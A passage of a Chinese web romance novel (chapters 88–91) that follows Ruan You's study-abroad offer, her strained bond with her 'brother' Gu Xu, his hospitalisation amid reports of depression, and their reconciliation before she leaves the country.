混血男人名叫西泽,是国外一所知名艺术学院的教授。 他让阮柚试弹了一首曲子。阮柚弹过后,对方站在一旁鼓起了掌。 “的确很有灵气,但弹得有些生涩,时不时最近不常练习?” 阮柚点头承认。她最近确实生疏了…… 对方告诉她,他很欣赏她的天分,愿意为她递交一封推荐信,并为她争取免除学费的机会。 就好像天上掉馅饼一样的好事。 阮柚却难得清醒,眨着眼睛,“为什么是我?” 西泽也跟着眨起湛蓝的眼睛,颇有些模棱两可,“因为……缘分。” 阮柚接受过许多的赞美,但这些赞美多来源于外在。尽管她当时的开心是真的,但人是永远无法停止获得满足的动物。 她渴望有人真的欣赏她,她的才华、她的能力、又或者她的灵魂。 没有得到真切的答案,阮柚握紧了手中的名片。 出门后,她却莫名忽然升起一股强烈的、想要见到顾叙的冲动。 或许上天听到了她的声音。 楼下的小型公园,顾叙正蹲在那么喂猫。秋意渐浓,空气逐渐转凉。少年却比寻常人更怕冷,内里穿了件白色高领毛衣,外面还要套一层羊绒大衣。他头发长了些,乌黑碎发遮住半片眉眼,冷白下颌藏在领口,令人读不出其中情绪。 可阮柚却知道,此刻的他,应该是温柔的神色。 似有所觉,少年最后抚摸了那只白猫,侧神看了过来。 秋风缠绕落叶,呈半弧似地缓慢坠落地面。 阮柚踩过时,细窣清脆的声响消融在寂静的空气。 目光交汇,少年站直了身子。 她呼吸却不由放缓,对望过后,升起丝丝莫名其妙的紧张来。 “他说可以给我推荐信。” 顾叙垂睫轻语:“他是一个专业权威的人,你可以相信他。” “我信。” 阮柚抿了抿唇瓣,听见顾叙的话,终于确定了自己的想法。 这件事和顾叙有千丝万缕的联系,他再度帮了她。 而这次,她却心感复杂。 她知道自己该去感激、该去拥抱他。最后在他耳边说,哥哥我其实……其实还是忍不住想你。 但她望着顾叙那双眼睛,此刻却什么都说不出来。 胸口沉闷压抑,似翻涌什么呼之欲出的情绪,阮柚重重捏了捏掌心,安静地走近了几步。她终于问起烂熟于心、却始终藏在心底不见天日的问题,“如果我不是你妹妹,你还会对我这么好吗?” 顾叙眼睫微闪,乌黑长睫拓下阴影,情绪忽明忽暗。 阮柚却仰起头,而后看着他再一遍问,“如果我不是你妹妹,你还会喜欢我吗?” 第88章 第八十八章 顾叙篇 第八十八章 阮柚问完, 胸口堵塞住的闷涩散去大半,急促的心跳接踵而至。 但她仍是不躲不闪地看着顾叙。 风来了又去,无声紊乱了呼吸。 顾叙个子很高, 替她挡住吹来的风。 少年定定地看了她一会儿,敛神,“为什么问这个?” “因为我想知道。” 阮柚语气平静听不出情绪, “这是个很难回答的问题吗?” 顾叙摇头, 却说,“我不知道。” 少年喉结滚了下, 面庞被冷风吹的苍白,仿若一瞬陷入恍惚状态。 阮柚闻言,眼瞳渐渐沉寂了下来。 呼吸很凉。 她却仍不死心,此时此刻, 她多想听顾叙一声肯定的答复。可话到嘴边,却凝成了某种晦涩、说不清道不明的情绪。 阮柚呼了口气, 再度说, “那位先生告诉我, 有可以推荐我去国外读书。” 顾叙敛眸, 唇边浮出淡淡地笑, 似在为她骄傲:“很难得的机会。” “是啊。”阮柚看着他说,“我应该要感激你。” 顾叙说:“是你的天分被看到了,不需要感谢我。” 阮柚却默然片刻, 开口说, “可我却没那么开心。” 顿了顿, 她说,“看到你的那一刻,我才明白我为什么不开心。哥哥, 我不想离开你。”边说着,她鼻尖一酸,却本能排斥起自己的脆弱。 她应该好好说的,而不是动不动就哭。她什么时候这么敏感了? 顾叙呼吸一屏,朝她走进了几步。 他垂下了视线,深灰眼瞳就这样将她映满,而后轻轻抬起了手。 少年指尖异常的凉,指腹落在阮柚泛红的眼尾,骤然如电流般荡过了神经、放大了感官。酥酥麻麻地,令阮柚不自觉颤了颤睫毛。 她才发觉自己流了眼泪。这两天,她似乎流了比从前加起来还多的眼泪。 “别哭。”顾叙对她说,“我最不想看见你流泪了,阮柚。” 闻言,阮柚心软了软,安静扑在少年怀里。 她的脑袋埋在他胸膛,鼻息是顾叙身上浅浅的松木香,却与从前不同的是,掺混了许多冷冽的、类似消毒水的气息。阮柚头脑晕沉沉地,胡乱眨去眼底泪花,终于说,“因为我好想一直一直和你在一起,我不想和你分开,哥哥。” 少年是她心底柔软的美好。无论怎样,她都不想松开手。 可唯独这次—— 少年却默然片刻,低头在她耳边道,“那是你一直以来的梦想。” 阮柚缓慢眨了眨眼,懵懵懂懂地听着,抿唇没说话。 这时,少年接着在她头顶细细低语,言语听不出情绪。 “我不可能一直陪着你,阮柚。” 阮柚一僵,嘴唇蠕动,怔愣从顾叙怀里抬起了头。 顾叙眼瞳乌黑,却依旧温柔,“你总要习惯自己一个人。” 阮柚再度听到了同样的话,可这一次,她的内心却出乎寻常的平静。 眼瞳如湖潭般的沉寂,她松开了顾叙,如梦初醒,缓慢又僵硬地退开了半步。 但她还是问,“如果我出国,一直不回来呢?” 顾叙沉默了片刻,凸起喉结滚动了下,低头说,“我会祝福你,阮柚。” ——你该在未来自由起舞,而非因他停滞盘旋。 阮柚呼吸放缓了些。 好一声祝福。 她真的快要为顾叙喝彩了。这才是顾叙,这才是她应该了解的顾叙。 温柔圣人,悲天悯人、不偏不倚,也从不会为谁而停留。 她只是刚好出现在他的生活。 即便彻底离开又如何,他不会挽留,也不会在意。 仅此而已,再无其他。她还可笑又可悲的想要等来那句答案。 最后,阮柚很轻地说,“我知道了。” 顾叙颤了颤睫毛,晦暗情绪抑在眼底,却还是忍不住拉着她。他难得用了力,薄白手背青脉凸起分明,牢牢缚着她的手臂。 他低低看向了阮柚,嗓音低哑,“别走。” 阮柚本想就这样离开,但对上顾叙的脸庞,还是决定,至少道别。 她内心像是枯萎了,站在日光下,混混沌沌。 “不是你说要放手的么?” 阮柚瞳色平静到近乎死寂,“我只是提前在道别,顾叙,这次真的再见了。” 她不再抱有任何期待。从前是家人,现在是顾叙。因为什么都会变,爱可以因为血缘而存在,也会因为血缘而破灭。 阮柚忽然想,顾叙回答的那句不知道,何尝不是答案呢 察觉少年的失神,阮柚挣脱开来,慢慢退开了步伐。 顾叙听见她说,“再见了,哥哥。” 他胸口一疼,如针扎似地反复刺痛神经,却自虐一般看着少女身影渐行渐远。 他知道,她是在和自己告别。 * 阮柚和顾叙参加的舞台被人上传了网络,不久就火出了圈。 顾叙出身顶级艺术世家,天资卓越、年少成名,加上一副惊艳皮囊,早早在网络累计不少粉丝。围观的评论多是谈论他,但也有不少发现了身边的阮柚。 “能说吗?感觉她好漂亮,就像洋娃娃似地。” “楼上的姐妹,你不是一个人。而且皮肤好白啊啊啊啊,到底怎么保养的。” “我觉得她钢琴弹得也很好啊……和顾叙配合的很默契……” “有一说一,谁能告诉我她和顾叙什么关系啊!!” 讨论的热火朝天,一刷新,却发现已经被删掉了。 成玉挑眉,偏头问顾叙,“你干的?” 顾叙:“什么?” “帖子没了。”成玉举起手机给他看,“我还没看完呢。” 顾叙看了一眼,没说话。 他在细细雕刻一朵玫瑰,几乎到了精益求精、追求极致的程度,锐利冷白的工具刀摁在指腹,偶尔擦过皮肤渗出丝丝血红,也浑然不觉、依旧慢条斯理。 成玉看地忍不住皱眉。“行了,别弄了。” 话说完,顾叙却说,“是我。” 他眉眼平静,放下了工具刀,拿纸巾擦手。 “你什么时候爱雕这个了?”成玉说,“送给阮柚?” 顾叙眼瞳晃了晃,“不是。” 成玉拉下椅子坐下,“听说你最近在调查她家?” “我只是想弄明白,究竟发生了什么事。” 顾叙曲起了指节,视线定定落在那朵玫瑰上,神色莫名有些冷恹。 成玉哦了声,“为什么不直接问她。” 顾叙默然。 “不会是。”成玉扯了扯唇,“人家不……” 他刚要说什么,余光一扫顾叙的神色,倏地抿唇噤了声。 少年苍白的像丢了魂,饶是他这个没良心的,也看地说不下去。 玫瑰雕好了,他将它放在窗台。 某天佣人打扫房间时,看得新奇,伸手时却不小心将它打翻在原地,染色的木质花瓣四散地面。佣人脸色泛白,抬头,却恰好看见少年干净的身影。 他忙声道歉,祈求原谅。 温柔的少年原谅了她,却在隔天递给她一封辞退书。 少年肤色冷白,红艳的唇瓣弯起浅淡的弧度,声线却温柔如旧,“阿姨,人总要为自己的行为付出代价,不是么?” 她含着眼泪接过,却什么都不敢说。 少年令他感到陌生。 玫瑰木雕没了,顾叙开始没日没夜的练琴。 他整日泡在钢琴房,指尖的琴声似乎要将他的灵魂浸透。 屋内是冷蓝色、如同深海般的光线,顾叙久久沉浸在其中,流淌的琴声如潮浪翻涌,令他有着近乎窒息的沉溺感。 他却还是想起阮柚。 ……想起少女对他道别的样子。 阮柚的眼瞳好似玻璃珠一般剔透干净,一如那日傍晚雨水淋漓,她闯入自己世界的那一刻。然而不一样的是,藏着无尽的冷漠疏离。 顾叙曲了曲手指,虚虚停滞在某处琴键,忽地翻涌起强烈的、无法克制的情绪。 他想去看看她。 就看看她,一眼也好。 室外,乌云密布,此刻正下着瓢泼大雨。雾蒙蒙的空气模糊了车水马龙,只留下霓虹的虚影。少年乌发灰眸,五官精致,着了身黑色宽松款外套,身躯愈发清瘦单薄。 打听了过后,顾叙礼貌道了声谢。 那人惊奇地看了眼顾叙,抑下心跳,说了句不客气。 ——顾叙。顾叙他怎么在这里? 阮柚正在参与彩排。 音乐剧缺少人手,她在其中负责饰演一个会弹钢琴的盲女。 盲女看不见世界,却有着异乎常人的音乐天赋。她恋慕意气风发的的主角,却自卑于自己的残缺,到死都没不曾表达心意。阮柚听着同学给她讲完这个故事,内心不禁有些沉闷。她最近一直有在练琴,曲子难度不大,排练起来也驾轻就熟。 顾叙走进了排练厅。 不见日光,偌大的排练厅唯有短促冷白的聚光灯光束,其余尽是暗淡阴影。 少年来得无声无息,甚至,在场没有任何人发觉他的存在。 目光停留在空荡的舞台,刺眼的聚光灯沉沉压在了眼皮,顾叙垂了垂睫毛,余光一扫,却不期看见了一幕熟悉却又陌生的画面。 舞台左侧的阶梯旁,灯光晦暗晕沉。 少男少女面面相觑,安静地对望着。 目光交汇那刻,男生笑了笑,像是说了什么,便俯身为她系上了鞋带。 不远处,阮柚低着头,神情看不分明。 亲密至极,对顾叙而言,要比不远处折射的聚光灯还要刺眼。 他颤了颤睫,神色晦涩不明。 倏然间,想起那日捡到的信件,那是写给阮柚的情书,却被她不小心落在了长椅。 最后,他打开了信件,看清内容后手指曲起,竭力克制住撕成碎片的冲动。 “我爱你,我爱你,我爱你,我爱你……” 一遍遍近乎偏执的重复过后,信件写着那么一句,“求求你,让我爱你吧。” 第89章 第八十九章 顾叙篇 第八十九章 莫名觉察几分异样, 阮柚似有所感侧过了视线。 什么都没有,是错觉。她眨了眨眼睛,出于礼貌, 很快收回了视线。 “谢谢。” “不客气。” 男生是音乐剧的男主角,也是阮柚角色爱而不得的对象。 盲女悸动于少年体贴又温柔地帮助,觉察到对方将她鞋带系好, 不由害羞地垂下了头。表演不是阮柚的强项, 更不要说是从未涉猎过的音乐剧。 他们在台下排练了几次。 结束时,阮柚听见那个男生问她, “阮柚,你有没有过暗恋的经历?” 男生问得认真,眼底纯粹地好奇。 阮柚抿了抿唇瓣,一时默然。 须臾, 脑海莫名闪过熟悉的脸来。 她几乎本能便否认了,“没有……” “难怪。” 男生笑了笑, 摸摸下巴, “暗恋一个人, 就算是害羞, 情绪也会从眼底溢出来哦。” “所以我觉得男主应该知道吧。” 少女的眼睛清凌凌, 干干净净。 男生想不出阮柚喜欢一个人的样子。但有时候懵懵懂懂,也是一件好事。至少不会因为爱一个人而受伤。 结束排练后,阮柚撑伞离开。 外面下的比来时更大, 瓢泼大雨愈演愈烈, 颇有一种要将世界吞没、洗净成灰白之势。 天气降了温度, 她低了低头,呼吸团出了几口薄薄的白雾。 觉察出几分饥饿,阮柚当机立断, 抬脚去最近的便利店买了个饭团。 加热过后,她没立即吃,而是捧在手心热了热手温。体温渐渐回暖后,阮柚拉开长椅坐下,听见有人在叫自己名字。 循声转头,是班里同学。 对方看着阮柚,犹豫地说,“阮同学,顾叙问我你在哪。” 她不确定顾叙找没找到,所以话语也犹犹豫豫。但见阮柚一个人出现在便利店,还是决定告诉她。 “他应该是在找你。” “找我?” 阮柚眼瞳一晃,想了想,问,“能告诉我是什么时候吗?” 女生告诉了她。 坐在窗边的长椅前,阮柚重重捏了捏手心,咀嚼速度都不知觉地放缓了起来。 顾叙他……来过? 为什么她不知道呢? 阮柚胸口不由发闷,却转念恢复了清醒。无论怎样,这些都和自己没关系了- 雨过天晴,风和日丽。 外婆忌日到了,阮柚回乡去看外婆。 下乡的路途几乎是连线的风景,时间仿佛在这里静止。 她看着一幕幕山水草木、自然风光,如潮的记忆也渐渐涌现。 阮柚小时候是个很娇气的人,讨厌夏日无休止、几乎吵得自己睡不着的蝉鸣声,更讨厌夏夜耳畔嗡嗡不绝的蚊子声。 每每这时,外婆会忍不住说她吃不了苦,说她不懂欣赏纯然的美。 但同时,她也会安静地替她驱赶蚊虫,细细哄着她入睡。 犹记得一次梦醒,小小的她虚虚睁眼,却见外婆仍在温柔看她,还在用蒲扇为她扇风。 她是那么爱她。 阮柚想到就忍不住鼻酸。 不管怎么样,她都会一直一直想念她,每年坚持来看她 外婆生前热爱自然,死后融于自然。 参天的老树安静挺立,阮柚望着立碑上慈祥的黑白照片,不由眼睛泛酸。 “外婆,我真的真的好想你。” 说了好久的话,阮柚最后呼了口气,俯身放下了花束,“希望你在那边一切都好。” 转身,却见一道熟悉的身影。 阮母不知何时站在那里,今日的她一身素淡,神情也有些说不出的憔悴。 见状,阮柚呼吸慢了慢。 “阮柚……” 她眼神晃了晃,“这些日子,怎么不回家。” “你在怪妈妈吗?” 阮柚安静了会儿,末了,终于知道该如何面对她。 坦然、纯粹。 最后,她走过去拥住了她,小声地说,“谢谢你。” “在我心里,你一直会是我的妈妈。” 阮母身形一僵,张了张唇,胸腔莫名抽痛了下。 少时的阮柚身体像小猫一样脆弱,总是接连不断的生病,哭声不止。 可每当她忙完回家将她抱在怀里,小阮柚总会停滞哭声,用一双被眼泪洗净地好似水玻璃的大眼睛定定看着她。后来她想,阮柚一直没变,一直用自己的方式渴求着爱。 可什么时候起,自己变了呢? 阮母低头抱紧了她,低低说了句,“对不起。” 阮柚却抬头,良久,轻缓却坚定的说,“但这次,我要过自己的人生了。” 不是自我放逐,而是真真切切,自由且放肆地活一次。 阮柚回家后,说到西泽先生的短信。 对方邀请她去参观即将申请的学校,顺便拜访几位业内专家、帮她指点迷津。 难能可贵的机会,时间定在月底。 要出国,阮柚提前收拾行李,才发觉自己的琐碎物品如此之多。 宁糖过来找她时,听阮柚说起这件事,不由为她高兴。 但同时,也渐渐升起一股失落来,“我会想你的,阮柚。” 阮柚问,“顾烟……” 她顿了顿,说,“她最近没有再欺负你吧。” “没有了。” 宁糖抱了抱她,“最近她都没怎么来学校。” 阮柚颔首,没有就好。 临走前宁糖塞给她许多自己做的手工,她知道阮柚喜欢,所以特意花了很长的功夫。 小小的贝壳上雕刻了玫瑰的图样,晒在阳光下好似在熠熠生辉。 阮柚抿了抿唇,妥善了收了起来。 然而打开鞋柜,却发现一双熟悉的高跟鞋。 正是顾叙送给她那双。她眼神一静,恍惚想起那日排练时、男生为自己系鞋带的场景。 毫无征兆,阮柚记忆却拉至那夜。 少年动作虔诚,细细托住自己的脚踝,为自己穿上高跟鞋的那一刻。 呼吸微屏,她阖了阖眼皮,胸腔闷涩,思绪一下子有些乱。 强迫自己不要再想,阮柚看着鞋盒,还有一抽屉特意收藏的物件。 心头冷冷清清,忽然间,腾起一个清晰至极的念头。 它们该物归原主。 而不是在这里,成为勾起她回忆的载体。 …… 成玉低头望着阮柚,忍不住挑眉,“什么意思?” 阮柚抱着纸箱子,眼睛依然明亮,“能不能帮我把这些交给顾叙。” 闻言,成玉眯了眯眼,漫不经心起来,“顾叙,怎么不甜甜地叫人家哥哥了?” 阮柚定定看着成玉,一时保持了安静。 见状,少年也没了意趣,视线往下一落,随手拿起其中的小木雕。 打量了几秒,他说,“原来是这样啊。” 阮柚听不明白,但也没有问。 这时,成玉却话题一转,他有着天然的敏锐力,“你们吵架了?” 阮柚眼神一晃,“……算是吧。” “过家家呢这是?”成玉勾了勾唇角,咕哝了句,“把我当什么了。” 阮柚绷了绷唇角,说,“不行就算了。”说罢,她便抱着箱子转身离去。 少年啧了声,大步上前拦住了阮柚的步伐。他身量颀长,一下子覆盖下来了阴影。 阮柚抬起眼睛疑惑看过去,听见成玉说,“行了。”他低头,弯起唇笑了起来,“其实,我还是挺想帮你的。” 成玉自然想帮,他甚至很想知道,顾叙看到时会是什么心情。 一定会非常的精彩。 阮柚道了声谢,交给了成玉。 道别后,她沿路折返回去,望着熟悉的道路,内心却空荡一片。好似被生生地挖去了一角。那些美好又难忘的记忆碎片渐渐稀释,就这样彻底消失了。 她停下脚步,不禁陷入一阵恍惚。 这边,成玉找到顾叙。 顾叙在书房看书,他今日的生活乏味且重复,不是在练琴,就是在看书。 成玉不知道书有什么好看的。妹妹都不想理他了,他还能平心静气地看书。 窗台阳光细细坠落,顾叙掀过了一页,被阳光刺得眼睛倏然一痛。 他无声眨了眨眼睛。 而后,听见了一阵敲门声。 顾叙:“进。” 成玉走进来,直直迎上了顾叙的视线。他开门见山,努了努下颌,“诺。” 眼神示意完,他掀了掀眼睛,不忘为自己感叹了句,“我可真好心啊。” 顾叙安静看了过去。 少年眼瞳极为平静、几乎平静到了漠然的程度。细长的睫毛阴影拓在眼下,衬得眉目愈发冷清,肤色也是近乎病态的白。 然后,顾叙突然很轻地笑了一下。 淡若未闻,成玉却听见了,心底不由闪过一丝奇怪。这可不是他预想的反应啊。 “谢谢。” 顾叙滚了滚喉结。 最后,他的语气几乎没什么情感,“这样也好。” 成玉罕见地见他这样,深深地看了他一眼,心境复杂。 不过他到底没再问。 心想,罢了,他们之前的事,他掺合什么? 阮柚结束了音乐剧。 反响很好,但是阮柚却有了多余的麻烦,总会有很多人拦住她表白心意。包括她坐在教室,也有不少人过来看。她不堪烦扰。索性剩下的时间三点一线,早早回宿舍。 空气转凉。 阮柚也终于怕冷,出门就戴上帽子围巾,裹地严严实实。阮柚去医院,她最近感冒咳嗽一直不好,扒出来吃得药才发现已经过期好久。 医生给她来了药。 出电梯走出大楼,外面是一条长长的水泥路,即将入冬,树上只剩枯干残枝,没什么生气。 阮柚与人擦肩而过。 她看了眼时间,时间还早。于是忽,她决定去练琴。 正这样想着。 忽地听见路人好似炸开锅似的讨论什么。她本无意倾听,那个异常熟悉的名字却是骤然拉去她的注意力。 ——顾叙。 阮柚捏了捏手心,神经不自觉紧绷了起来。 她无法控制地静下了呼吸。 身旁两人则抱着手机,旁若无人地继续谈论。 “顾叙退赛了。” “为什么啊啊啊,我期待了好久。” “好像是……出事了。” 第90章 第九十 顾叙篇 第九十章 阮柚不知抱着怎样的心情一路打车到了指定的私人医院。 低头一看, 成玉短信里回复他也不清楚太多。 目前只知道地址。 按照短信里的一行字,阮柚到达了目的地。 等她到了那个楼层后,才发觉病房外围已经被保镖重重围住。 靠近无果, 她只能远远看着。 阮柚心跳地飞快,久久落不到实处。 此时此刻,她迫切想要见到顾叙, 但一时间, 竟什么办法都没有。 焦急、担忧。 顾叙…… 他怎么了? 手机上是最新的新闻消息,阮柚低头看了眼标红的颜色, 眼睛不由暗了暗。 【天才蒙尘:顾家继承人深陷心疾困扰】 【顾叙 抑郁】 【顾叙 手臂伤疤】 …… 一一看过去,阮柚不自觉心脏纠痛起来。 怎么可能呢? 但转念一想,似乎真的有迹可循。 如潮的记忆翻涌了过来,她想起少年苍白的脸庞、想起他手臂浅浅的划痕, 又想起两人相处的种种画面,想到这些, 一股强烈的悲伤很快占据了她的心。 阮柚无法控制地心酸。 而这时, 病房门忽然打开。 管家平静地看了一眼, 目光于末端一滞, 而后对保镖们说, “你们先回去吧,这里有我就行了。” 闻言,为首的保镖有些为难, “可是夫人……” 管家叹了口气:“这是少爷的意思。” 保镖离开后, 管家微微温下声, “小姐,过来吧。” 阮柚眼瞳晃了晃,沉默走了出来, 叫了声,“叔叔。” 她认识顾叙这位管家叔叔,之前还见过面、说过话,见到他,她问,“他还好么?” 管家面色不变,只是问,“阮小姐,为什么不进去问问他呢?” 阮柚呼吸一滞,垂了垂眼睫。 她担心顾叙,可是真的让她去见面,却又不知道该怎样去面对他。他们如今…早就生疏不似从前了。 管家离开了。 走廊里一下子只剩下她一个人。 阮柚抓了抓手心,放轻了脚步,透过房门的小窗望了过去。 病房里。 顾叙半靠在床上,午后的光线罩在脸上,安安静静,透出不健康的白。 阮柚看不清他的神情,只觉得这一幕令她揪心又陌生。 她久久停在那里,眼睛又干又涩。 直到—— 少年若有所觉,余光微微一扫,就这样对上了她的视线。 他定定看了过来。 阮柚心跳倏然一滞。 她下意识地退开了半步,眼睛却也一错不错地看着里面的人。 而后,透过虚掩的房门,她听见顾叙说,“阮柚。” 他在叫他,一如寻常。 阮柚紧抿住了唇,好似被打开了什么开关,低落的情绪一发不可收拾。 她推开了房门。 走进去时,空气浮着若有若无的消毒水气息,阮柚紧紧捏了捏手心,问,“你怎么样了?” “还好。” 顾叙弯唇笑了下。 寂静的氛围也逐渐延长,直到他抬起头,再度开口,“怎么哭了。” 阮柚飞速眨了眨眼,后知后觉出自己的失态。但她胸腔止不住的酸涩,低头望着顾叙,眼底也生出滚烫来,嘴上却说,“谁让你变成这个样子。” 顾叙一怔,唇边仍带着笑,安抚,“都是我的错。” 阮柚呼吸一凛,晃了晃脑袋,“不是你的错。”她恍惚了瞬,即刻解释,“我不是这个意思。” 阮柚从未想过再见顾叙是这副模样。少年比以往更清瘦了些,肤色苍白到看不出血色,而眉眼却依旧干净柔和,就这样专注看她。 顾叙:“我知道的。” 不,你才不知道。 如果不是她执意要过来,顾叙是不会告诉她的。但即便如此,阮柚仍然庆幸自己能够过来,她坦然的面对自己的心——无论怎么样,她都不想见到顾叙这副模样。 想到这里,阮柚便朝他走近了些。可刚刚靠近,少年安静抓住了她的手腕。 手腕凉凉的,是有些陌生的温度。 阮柚心跳骤然一空,稍稍低头,就迎上了顾叙看来的视线。 顾叙笑容纯粹:“又握住你了。” 阮柚懵懵然地停在原地,却听少年继续说,“刚刚感觉像在做梦。” 顾叙抬起眼睫,喉结滚动了下,“现在,梦成真了。” 闻言,她的心莫名剧烈跳动了起来。少年触及则分,指尖不期然划过了她掌心,好似羽毛扫过痒痒的钩,阮柚唇瓣抿紧了些,敛下微妙不知名的情绪,低低重复了句。 “是真的。” 是真的。 自然而然,阮柚和顾叙就这样和好了。 可她问起住院的具体细节,顾叙却不作多讲,甚至问起周围也是含糊其辞。 阮柚好似即将靠近一个模糊的真相,下一刻,又被拒之门外。 但她并不着急,她知道总有一天,顾叙会告诉她。 阮柚如是想着,白天便常去陪顾叙。 顾叙身体恢复地很好,只是偶尔会对着她脸庞出神。阮柚先前知道他的抑郁情绪,心疼的同时,也会多花时间来陪伴他。 直到有天,她偶然听见了谈话。 ——顾叙是因为溺水,一个会游泳的人,在游泳池竟失去了力气。 阮柚闻言抿抿唇,不知道是什么心情。 顾叙恢复地很快,甚至提前办理了出院。在阮柚看来,少年像一台周密运转的机器,似乎永远找不到停歇的时候。阮柚想阻止,可顾叙态度很坚定。 傍晚天色昏黄,阮柚接了通电话。 是西泽先生的电话。她该到了出国的时间了。 阮柚却犹豫不决了起来,她放心不下顾叙,也想陪伴顾叙。 而这时,少年不知何时走来,也不知听见了多少,只小声在她耳边说,“答应他。” 阮柚看向了顾叙。 电话挂断后,顾叙将手里的小熊饼干递给了阮柚,“新做的。” 阮柚却说,“哥哥,你会舍不得我吗?” 顾叙沉默片刻,乌黑睫毛松松垂下,一时情绪为明。正当阮柚逐渐失望冷却时,他却说,“当然会。” 她张了张唇。 余晖洒下,镀上温柔的光晕。 顾叙抬手摸了摸她柔软的发丝,“我会想你,每天每夜,时时刻刻。” 阮柚目光闪烁,心脏好似被撞了一下,看着他久久说不出话。 下一刻,她抱住了顾叙。少女表露情绪的方式坦然而热烈,喜欢就是喜欢,厌倦就是厌倦,就像耀眼的阳光,拥有抚平一切的魔力。 顾叙低低垂下了眼睛,薄白的手背青脉凸起,手心攥了又松。 最后,他抬起了手臂,选择回拥住她。 “你知不知道,我多么想听见你说这句话。 阮柚闭了闭眼,“可你总是想把我推远。” “对不起。”顾叙说,“我只是……” 他的话倏然滞住。只是什么,他无法吐露,那是他藏在心底的秘密。 阮柚的资料早早摆在了他的书房。 他们是无法争辩的亲人,血缘将他们羁绊一起,又如藤蔓般缠绕终生。 可他是个自私的人,依旧自私地爱着自己的妹妹。 阮柚并没在意顾叙的话,即便从始至终她都非常安静。 她心跳很乱,反复想着顾叙说的话,内心很难平静下去。 直到—— “我是不是来得不是时候啊。” 一道熟悉的声音慢悠悠响了起来,是成玉。 阮柚颤了颤睫毛,不知为何心里一慌,忙的从顾叙怀里出来。 比起她,顾叙竟从容淡定了许多,甚至在站姿不稳那刻扶了一下她的腰。 她抿紧了唇,耳朵藏在鬓发里,莫名觉得有点热。她这是怎么了…… 成玉轻轻挑了下眉梢,懒洋洋地双手环胸,“看我干什么?” 阮柚被揪个征兆,脖子往后缩了缩,莫名有点心虚。 顾叙见状,皱起了眉头:“你吓到她了。” 成玉:“她是猫啊,这么不禁吓?” 阮柚脸颊红晕尚存,听着,忍不住瞪了成玉一眼。“你才是猫!” 闻言,顾叙很浅地勾了勾唇,却仍是拦在阮柚身前。 这一幕不知为何,看的成玉莫名有点不爽。他大步流星,来到两人面前,刚想说什么,话到嘴边却成了,“你俩终于和好了?” 阮柚低低嗯了声。 成玉啧了声,嘀咕,“跟闹着玩似的。” “才不是。”闻言,阮柚莫名有点难别扭,低低嘀咕了一声。 成玉:“你说什么?” 阮柚眨巴眼睛,佯装不知。顾叙却微微收起笑来,“好了。” 成玉却不想放过阮柚。 他想要揪出躲在顾叙身后的她,尚未有什么动作,少女委委屈屈的声音就适时响了起来,“哥哥,他欺负我。” 一顶帽子横空掉落,成玉神色微滞,突然哈了一声。 气笑了。 感到冤枉的同时,又为看到阮柚这一面……心生些许兴趣。 他定定看了一眼阮柚,见她依旧在顾叙身后探头探脑,可一双眼瞳却水润灵动、与之前的暗淡无神采截然相反。 闻言,顾叙手搭在他肩膀,拉开一段距离:“行了,到此为止。” 阮柚玩心大发,偷笑时却偏巧撞上顾叙看来的视线。她颤了颤睫毛,表情僵住一瞬,即刻闪躲开了视线。 不知心虚还是怎么了,心跳得更快了些。 而这时,成玉皱了皱眉头,有些不爽,“当我的面眉来眼去,当我是透明人吗?” 闻言。 顾叙一怔,呼吸骤然一顿。 阮柚则是皱了皱眉,下意识说,“那又怎么样?” 可话音刚落,后知后觉品出些许不对来,抬头却对上了成玉似笑非笑的表情。 她和顾叙眉来眼去? 这个词是这么用的么…魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-100 第91章 第九十一章 顾叙篇 第九十一章 阮柚出国后, 忙完自己的事情,会给顾叙打电话。 他们之间有时差。 可后来阮柚才发现,每次不管什么时候打电话, 顾叙都会很快接起来。 她问,“哥哥,你最近吃药没?” 而他却会问, “过得开心吗?” 或许, 顾叙潜意识认为,开心是最重要的。 时间流转, 天气逐渐凉了下来。 在异国街头的商店,阮柚给顾叙买了条围巾,接过付款之后,老婆婆用别别扭扭的口音问她, “漂亮的小姑娘,这是给男朋友买的吗?” 阮柚闻言一怔, 眼瞳晃了晃水光。 她张了张唇, 心头莫名生出些不自在。 如果是往常, 她会毫不犹豫地立刻否认。但如今初初听到这句话, 阮柚心跳居然不受控制地失序了起来。 回到租住的公寓, 阮柚悄悄地在网上搜索。 【为什么会一直想念一个人呢?】 ——因为喜欢他,所以想要时时刻刻看见他。 阮柚的呼吸不自觉慢了下。 她低了低头,指尖久久停留在屏幕上, 一时间连眨眼都忘了。 直到觉察出眼睛又干又涩, 阮柚才忽然意识到, 自己盯得时间过长。 她按捺下了心跳,随手将手机扔在床上,整个人随之躺下。 思绪一团乱麻。 但此时此刻, 她的脑海却是顾叙说的那句话。 “我想你,时时刻刻。” 想到这里,像是轰然炸开一般,紧绷的神经细细密密地开始复苏。 阮柚耳根发烫,脸庞埋在了枕头里。 而后。 一个从未想过的念头就此萌芽、并愈发不可收拾起来。 心跳加速。 她想,她不会是喜欢顾叙吧? 骤然升起的念头打的她一下子措手不及。 而恰在此时,一阵喧闹的手机铃声在耳侧响了起来。 看了眼备注:哥哥。 怕什么来什么。 阮柚睫毛颤了颤,手心像是拿了个烫手山芋,破天荒生出想要逃避的念头。 啊啊啊啊。 好乱。 但阮柚还是接了。 只是她没有先一步开口,她呼吸缓慢了下。 那边,少年声线透过手机穿了过来,低低淡淡,却好似含了小小的钩子,渐渐燎烧于她的耳廓,“回公寓了吗?” 阮柚抿直了唇瓣。 顾叙摸清了阮柚的日程安排、甚至具体时间,只会在阮柚不忙的时候打来电话。 她不该意外。 阮柚:“嗯。” 顾叙:“感冒了?” “没有没有。” 阮柚声音太小声了,以至于模糊成了鼻音。听见顾叙这句话,她立刻矢口否认,握紧了手机,转而问起另一个话题。 顾叙听见她的话,嗯了声,“最近家里在安排一些事项。” “不太喜欢。” 阮柚一听抿了抿唇,很快直了身。 她想,顾叙之前都因为情绪问题进了医院,家里怎么还要让顾叙做他不喜欢的事情呢!思及此处,她下意识地问,“什么事情?” 顾叙那边难得沉默了几秒,“联姻的事情。” 闻言。 阮柚呼吸一凛,手指不自觉握紧了手机。 她思绪一下子变得很乱,耳畔嗡嗡作响,甚至连询问都忘了。 顾叙应该是觉察她的沉默,很轻地笑了下,“阮柚,我不该将坏情绪传给你的。” 阮柚沉默了两秒,问:“你答应了吗?” 顾叙:“……没有。” 阮柚抿抿唇,揪紧的神经却丝毫没放轻松。 她的胸口发闷。 站起来伸手打开了小窗透风,目光落向了远处灯火,低低地问,“哥哥未来……会找什么样的女孩结婚呢?” 